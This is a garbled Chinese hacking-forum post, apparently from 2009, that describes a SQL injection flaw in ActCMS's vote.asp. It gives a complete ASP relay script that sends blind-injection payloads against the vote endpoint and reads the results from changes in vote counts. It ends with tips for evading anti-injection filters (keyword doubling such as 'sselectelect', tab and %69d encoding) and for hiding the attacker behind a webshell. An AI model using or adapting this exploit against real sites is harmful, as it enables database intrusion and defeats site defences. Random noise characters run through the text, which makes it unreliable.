1 l! K3 {6 I f: `+ ^$ B$ H; d! ]看到ninty大牛的blog的一篇文章: p0 N' {- ]7 W: y, d
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
& j+ q J5 w# g) n关于actcms漏洞的利用 by 3x qq:381862589
* ?5 @- L; a4 U+ E8 V转载请注明以上
; p2 w( x" }: M! m& F: g漏洞文件:
" \3 P6 u* q1 J/ ?: y+ W/plus/vote/vote.asp
' j* X& f, a# P6 L; W/ L3 u代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then ' j: ?5 y6 t& p6 Q# x$ R
0 N( g0 B& y$ ?" ]/ V2 response.write "<script>alert('请选择投票项目。');window.close()</script>" " N3 ^+ |3 D) ^: l' h2 C' k9 [
9 d; X) {: H7 f1 l% }! S6 [
3 response.end 7 R' e, S v9 F# m* }& c( f# `
* [$ R$ W2 |8 V
4 end if
, s/ [8 M% U3 u) K. {! E$ P! X* V9 J' o* C
5 for i=1 to request("voted").count
3 ^9 ]3 a# U. @9 M! [
# a B& z8 H/ n% _6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) , r. E/ {5 V; X7 e5 E6 e
! R- ~% E/ i" Z1 [7 next
3 ]! b% v" n5 K0 V$ ?
& m. e; x3 h% A8....
3 a0 u) O' W" {/ F$ O5 u* h8 B Z3 B! x' j
9response.Redirect "index.asp?id="&id&""
0 m, }5 Y/ G0 ]# M投票结束回跳转回index.asp这个投票结果页面
, C* [* ?: W9 B h! G如果投票成功票数加1
2 [, D$ P0 \6 X8 `2 m0 S7 F8 u 失败票数不变, R! f9 D- S- M) c4 r% n# g
如图:
3 n, v8 O/ Q' f1 khttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)1 J# P" x e/ b/ U q. z
( k/ X) u4 Y$ c6 l8 V5 A/ A2009-12-27 13:20
; f! k: A" r i4 o; g6 r9 B3 m
! P1 I$ p! o4 H利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
* s1 @1 Y& t4 o# @
, {# c8 G# }! v/ {. S; u9 _/ D本帖隐藏的内容需要回复才可以浏览
" E* v2 A- C/ l# ~9 W2 u4 G& B我们用注入中转来实现这个注入具体代码如下:4 Q4 Q5 ^$ k0 g+ p! a% U
先用寂寞的刺猬大牛的注入中转生成jmget.asp% v6 d4 N( u {! S
注入地址:http://localhost/actcms/plus/vote/vote.asp" W! s! p/ o% `) O2 D, C7 T3 ?; }2 d
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项% g3 Y3 u. J- n% W
. h/ u6 r2 s) }6 [( c6 N! Y+ N1 B" Z
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 7 v! E. V5 G( o' B' z
+ ~7 G! r( i) M3 B) D1 }
02JmdcwName=request("jmdcw")
0 n7 \' J: `8 H$ w$ @5 ~. e. X
, z' I3 O2 o$ i, ]' C6 }1 N03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
* [, }$ a9 @* J' `8 V1 E5 ?: l- }
* D8 z" a8 a- h/ T1 v! D5 a04JmStr="id=1&voted=-1 or 1="&JmdcwName 9 K$ @7 S; @ c& ]. h; }+ x# a5 o
1 A' \( z7 ?& j
05JmStr=URLEncoding(JmStr)
" }/ |' j( M9 D, H0 R" ? f7 l) {. _/ H) N0 b' ?
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"' s) |' o, Q) @6 \8 A1 n
1 b# o0 l( V1 I. [( k7 S07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"; g1 x# R# B8 R
7 x% v2 l6 U! X7 u
08testurl=testurl & "?" & JmStr * `( E# a; P& c* U6 f, K' E
: ]/ b- r: |8 K9 @! W
09JMUrl=JMUrl & "?" & JmStr , f% r/ y1 t7 S# L2 J3 r4 `
( I$ }3 h) ?4 k( s. F0 [9 b
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
5 j" g: n0 m3 s, b0 ^, @+ E+ l
- P2 K# Z; w! G3 ]11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"/ ]% \' a8 n& I9 R3 t5 F4 w' y! x$ R
" l8 c6 E5 B2 h9 g9 y6 P12JmCok=replace(JmCok,chr(32),"%20")
; Q( |4 f- J6 F
5 F- s# I: m. _" S4 h8 b1 o13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
8 d" f6 M8 ?, i! r) @) E% q/ p1 J9 ~( m
14 ) u, L5 ~1 m/ [" K& C
/ o: A2 ^' t/ z4 I3 S: A0 l
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
$ {2 g6 i" i# d; B" \8 ]$ F0 R3 U2 ]6 O( ^) I0 q
16 3 C1 K a, }8 l/ o- A8 d7 y
v" \1 C; q3 K; o: F _
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
v, _- i9 ?' ]6 {, b: l; ^% y
+ c! N( ?! V4 R* V# ~3 z, ~18response.write test1&""&test2&""" x- t! m Q& z0 u4 A
4 f5 s" x& P3 ]
19
1 U: w; t* V' A7 C" o" V6 Z& Y7 I
20if test1=test2 then '如前后记录相等,表示失败 @! J. G# P9 k2 {
9 F5 y, b; Y+ C2 q* w3 `* S21 response.write "failed"
* h8 r( ?1 |4 p$ a0 u$ {2 i) h- @1 ]0 _
22else
5 X) X% l) D# B7 k0 s) m' q7 n8 d8 O8 ^( c: X" d
23 response.write "succeed"8 i9 q e. N1 ]5 i4 M( p- ~- ^! h
% d2 a7 X( q9 w9 l$ s' m24end if
9 d; @$ T1 [; t( Y j9 K9 d5 A. ^5 G. a7 o# l) V3 P
25
* m P. M' m5 }$ H" t; H5 D `, L, I
" d" [3 m+ g4 ~4 X! G26response.write "by 3x"4 X+ T6 k4 M: T, b9 j% l3 R
/ S* }( T# D% ?0 z& t" n
27 ) l6 \% m; ^; p& ]' ^/ S+ }0 d
0 E' |# B) R! l, {7 y# o5 P
28 ) U! t. Q% }6 g
, S, s s4 \2 W/ z# z5 Y( ^
29Function PostData(PostUrl,PostStr,PostCok,PostRef)
$ ^ \$ i- V! L$ r; { u
5 i8 p, @9 ^: u$ f/ U30Dim Http 3 O' g5 S) J$ o& y9 c D
& y3 q& X* T# P9 ]% Q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") 1 n7 ` p `! f8 P+ a Y
4 V. L* C9 U0 h4 E32With Http
# e; c' a8 s: h0 c' m6 K' h
7 V: n4 L$ L1 k# x33
' G- z' a) T X% _1 t) q) F2 H+ N2 Z, D& b6 {
34.Open "GET",PostUrl,False
# p; o* q7 s: Y: p. _* }, F& ]4 f0 Z J
% M# c0 B3 O" j! b35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
% Q+ D3 `# |; M5 U2 r8 ?
. V/ F8 i# \& {3 o3 U; p, M36.SetRequestHeader "Referer",PostRef % } W/ O! d$ N6 T5 A" `4 {
I5 `' s' [0 C; B& U, K: w+ R
37.SetRequestHeader "Cookie",PostCok
: O9 }5 o0 l6 f! R: M) M' w0 m8 [" x- \
38.Send () 7 L' W: S# z% B4 X
. t, k1 l0 }# A r5 m
39PostData = .ResponseBody , u- I4 K: w$ a* M) a
' ^1 E7 C8 r* [5 T" Y
40End With) x# b7 S( `1 ` \7 j
3 J9 E- o! g9 Y" `, f* K+ D4 P
41Set Http = Nothing
6 Q# L8 w3 T8 E0 D8 K) u3 E! u' N+ M5 w/ p1 y$ @3 w5 Y
42PostData =bytes2BSTR(PostData)
* v8 w6 H! O. ]# }5 G
, W8 @3 j& C+ F0 ]( s9 Y* J43End Function
( y( |( b) Y7 \( |- l3 G7 @! C4 C( D5 P v2 ]
44
( K6 p0 x/ |3 T3 P& ?, k
- T3 r; O- j; @: f9 o45 3 ~& k( y: c/ I8 B$ p
4 Z/ D% d: q4 k% A0 o- r46Function bytes2BSTR(vIn)
$ ^, E9 P/ Q2 Z) P7 H8 ~5 {
`# r! i) x* \+ T. L. i7 A6 O47Dim strReturn
, ~* u5 p; R+ a) _4 C
; ^/ M2 M8 a% [0 C$ j48Dim I, ThisCharCode, NextCharCode
. B \$ [' N8 \& E/ ~7 D( P
: I9 o9 g5 r _49strReturn = ""
6 H' J- R, k' R" R# q" O3 a T* B
50For I = 1 To LenB(vIn) i1 m7 X" {! f" i" @
7 w: i. q* O; ~2 U' G4 ~# g
51ThisCharCode = AscB(MidB(vIn, I, 1))
" g; n. Q+ ^" { D3 C# s# |" _6 o( \* R* E
52If ThisCharCode < &H80 Then' m% g% @: y5 W& \4 z1 m
3 [4 I2 \# w4 y& b% b/ E
53strReturn = strReturn & Chr(ThisCharCode)
& z1 W7 S' Y) r# w/ {) Y: r$ ]2 _1 K4 M: K+ @ }
54Else
0 W5 D9 D. q) R3 f7 h' L
/ j, F, T2 ^2 ~) ^ {$ l55NextCharCode = AscB(MidB(vIn, I + 1, 1))
5 ~7 A- l$ M+ H+ g* o( ^* P; Q2 ^
, p" A8 y$ b, o; R s \8 J56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
z$ K9 ~# P: h- C4 _
# J/ ^, Q# r0 p$ n" d V57I = I + 1 ! n5 ?: I8 n9 V+ K; j7 x6 _8 i% p
% c5 y% F$ _8 P, v$ m
58End If
- }: n- D M ^2 f
3 q+ u0 f( ^ `59Next
+ ]0 _" G- n0 W/ }$ W) D
% H* r$ \8 B9 k2 T/ `60bytes2BSTR = strReturn , b% u) v5 w% G& H3 v4 z
$ W S/ K- s9 ~3 e
61End Function
" g8 P" h" Y1 o" W0 Y! y t) v1 _* t& I+ v/ I
62
2 [: r' G1 w/ P ?: I/ i$ b- \
0 X, O2 x$ w# U$ A. J6 i o" u63Function URLEncoding(vstrin) 3 a Y' ^$ ]! C/ b. C
; `/ K" Y4 }: X9 ~/ ^0 r0 b# _
64strReturn=""1 H, p$ u% \8 H% F" ]
; \8 t' X) N* C6 F
65Dim i
% |6 s! Y4 l0 O/ P8 j1 h d+ l- {4 F
7 M+ c# o" [2 V( [2 t: E66For i=1 To Len(vstrin)
0 Y9 A# g9 R+ t% x* u7 u# F. l: d
. p% u6 h, X& X! X8 S67ThisChr=Mid(vstrin,i,1)
% ~+ g2 X$ c, d. K4 `; Q3 w
0 k) b# Q: {3 I$ @$ \68if Abs(Asc(ThisChr))< &HFF Then
9 D) a) @* i4 }- z( f0 s4 L( W; [# _
W8 w: L) W! r* P* z: S# o69strReturn=strReturn & ThisChr
2 X* g( T/ X: `+ `4 T8 h8 \
% C! i3 {& B) y1 K" b' N+ _4 w70Else
5 N* W- A9 `9 l" `$ s- P$ P$ }7 B' U5 j# ^
71InnerCode=Asc(ThisChr) + `/ `! K7 F+ r8 Q
- ^9 o9 i1 n E! E; W0 j/ R72If InnerCode<0 Then7 W( {, U: r6 y! g
& Z, N2 _0 u7 j0 T# a; Z- b
73InnerCode=InnerCode + &H10000 / q- L! p3 q8 N6 g4 B
) _- _" a* {+ F( g3 j
74End If/ D4 Y& w3 M- x
5 Q! t; E+ A" z
75Hight1=(InnerCode And &HFF00) \&HFF ; ~2 G# x% E2 Z9 g2 K
+ O/ f6 s8 u% B+ ^( |76Low1=InnerCode And &HFF
2 _9 r n7 Q; G1 S# v/ Q6 Y( H. q8 I* _
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
( Z8 F: c3 d3 F9 [' u3 G4 v& p/ p0 J% j: d' C) v# |
78End if ; G. _1 ~4 W' \+ C( _
( |* g8 w9 U5 l( T# b# f9 M79Next
8 g4 J3 P5 M+ a5 ]. g* Q
5 R: w. ?& I2 X/ i7 `6 k7 h- O* c80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 ( Z5 Y0 ^4 J5 ~* R4 v3 }6 G
/ R; K5 O4 h, S7 m' g* {
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
5 X" O- z& G: x7 y/ b7 y ]8 Q2 Y
# ?: {+ o1 G& r' A3 K0 Z82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
" J6 A; Z2 m' N# Q0 o! o4 I; _5 M: w1 [( M8 G3 n8 Y1 n
83URLEncoding=strReturn
4 \/ _- ^# C' ~ v
: i* ?7 C* H! [+ b84End Function- C G* ]/ Q4 N. c
5 s! H# H! V9 Z- i4 K& ~
85 0 M6 c2 i& @2 @& K# L
6 c) D# u' p4 C7 y86function getSt(body)
! a- O& t3 m, ~! }3 S: I- W5 |7 \7 v
87 startpot=instr(body,"投票人数:")+len("投票人数:")
% `8 ~2 K: L1 h
0 k, |) d4 L& h5 L$ d/ A% @88 endpot=instr(startpot,body," ")
+ U) [2 k3 E9 V
. B% c X( g Z/ V& |89 getSt=mid(body,startpot,endpot-startpot) ) R% p+ u2 P6 d3 c
$ H0 ^3 N5 [# q2 E
90end function . F& h2 J ]1 w! @ V4 |& r
* }% d3 ]5 x9 H91%>; w" e( v* X2 S+ @5 ~; O
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了7 H9 A5 Z$ K' b; e3 G. A) {9 O: ^
测试下效果: f6 z: f/ _4 H
投票成功:
3 d2 b8 s, g' Uhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
+ ^+ t" Z0 ]# S1 H6 |: g( o$ h+ X
2009-12-27 13:29
# N) d [9 y: b3 r投票失败: W5 d- z2 W; z4 [
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)% ~! E g3 |! K& s- S
7 j4 m& s+ \# s6 ^4 x2009-12-27 13:29
R' J* K' X( X2 ^- j4 W0 K$ W-------------------------------------------------------------------------------
- r9 Y9 ~1 U/ k7 Z% m. Q- h3 q再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
& ]* f {* u$ \: Z6 u1 k- j很抱歉。。。只能用单线程工具去注入。。。。。7 B, q" d% k f. \
所以失败。。。不好意思。。。
- x* _$ o' v. ]7 T8 v4 M* d3 H-------------------------------------------------------------------------------+ }2 D0 u/ b: I: N4 x) O
5 G% M+ M7 v' M2 i注入中转的一些其他应用
# J& V6 i7 [ ] g9 k4 o- [" k# B o其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
/ A; b9 n. K' d" E1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id N$ r B2 \4 v( W* T c, y/ b
2.post注入转成get型的注入,方便我们使用工具来跑& |6 A" H3 [5 p8 E( \# I% }
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")9 j; F1 p Y% g# ^- t% S
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
/ i* E p* {; |& [1 a: o
( P. J; v" T' B5 O5 q |